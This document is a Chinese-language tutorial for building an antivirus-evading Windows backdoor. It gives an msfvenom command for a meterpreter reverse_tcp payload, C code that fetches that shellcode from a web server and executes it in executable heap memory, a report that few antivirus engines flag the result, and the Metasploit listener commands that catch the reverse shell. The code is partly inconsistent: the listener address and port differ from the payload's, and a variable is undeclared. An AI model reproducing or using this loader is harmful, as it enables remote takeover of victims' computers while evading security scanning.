通過URL載入ShellCode代碼

將生成的shellcode放到web服務器上，本地不保存惡意代碼，本地只負責加載到內存運行，這樣可以很好的躲過查殺。

1. 生成shellcode

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=192.168.1.20 lport=9999 -f c

2.使用獲取代碼，前提搭建好http服務器，並將shellcode寫入服務器頁面中。

#include <stdio.h>
#include <Windows.h>
#include <WinInet.h>
#pragma comment(lib, "WinInet.lib")

char * GetUrlPage(char *URL, char *SubPath)
{
	HINTERNET hInternet, hConnect, hRequest = NULL;
	DWORD dwOpenRequestFlags, dwRet = 0;
	unsigned char *pResponseHeaderIInfo = NULL;
	DWORD dwResponseHeaderIInfoSize = 2048;
	BYTE *pBuf = NULL;
	DWORD dwBufSize = 64 * 2048;

	hInternet = ::InternetOpen("WinInetGet/0.1", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	hConnect = ::InternetConnect(hInternet, URL, INTERNET_DEFAULT_HTTP_PORT, 0, 0, INTERNET_SERVICE_HTTP, 0, 0);
	if (NULL == hConnect)
		return NULL;

	dwOpenRequestFlags = INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_KEEP_CONNECTION |
		INTERNET_FLAG_NO_AUTH | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD;

	hRequest = HttpOpenRequest(hConnect, "GET", SubPath, NULL, NULL, NULL, dwOpenRequestFlags, 0);
	HttpSendRequest(hRequest, NULL, 0, NULL, 0);

	pResponseHeaderIInfo = new unsigned char[dwResponseHeaderIInfoSize];
	RtlZeroMemory(pResponseHeaderIInfo, dwResponseHeaderIInfoSize);
	HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS_CRLF, pResponseHeaderIInfo, &dwResponseHeaderIInfoSize, NULL);
	pBuf = new BYTE[dwBufSize];

	RtlZeroMemory(pBuf, dwBufSize);
	InternetReadFile(hRequest, pBuf, dwBufSize, &dwRet);
	return (char *)pBuf;
}

int main(int argc, char * argv[])
{
	char *shellcode = GetUrlPage("192.168.1.20", "/shellcode");
	printf("%s \n", shellcode);

	system("pause");
	return 0;
}

3.處理shellcode代碼，並將其加載到堆，並設置可讀可執行，執行代碼反彈即可。

	int shellcode_length = strlen(ShellCode);

	unsigned char* value = (unsigned char*)calloc(shellcode_length / 2, sizeof(unsigned char));
	for (size_t count = 0; count < shellcode_length / 2; count++){
		sscanf(ShellCode, "%2hhx", &value[count]);
		ShellCode += 2;
	}

	void *exec = VirtualAlloc(0, shellcode_length / 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, value, shellcode_length /2 );
	((void(*)())exec)();

測試，查毒率 https://www.virscan.org/ 49個引擎，只有三個報毒。

第二個 https://www.virustotal.com/ ，查毒率

3.最后，生成成功后，我們將攻擊主機運行一個監聽事件，然后打開生成后的后門，然后發現能夠成功上線。

[root@localhost ~]# msfconsole 
msf5 > 
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
msf5 exploit(multi/handler) > set lport 8888
msf5 exploit(multi/handler) > exploit -j -z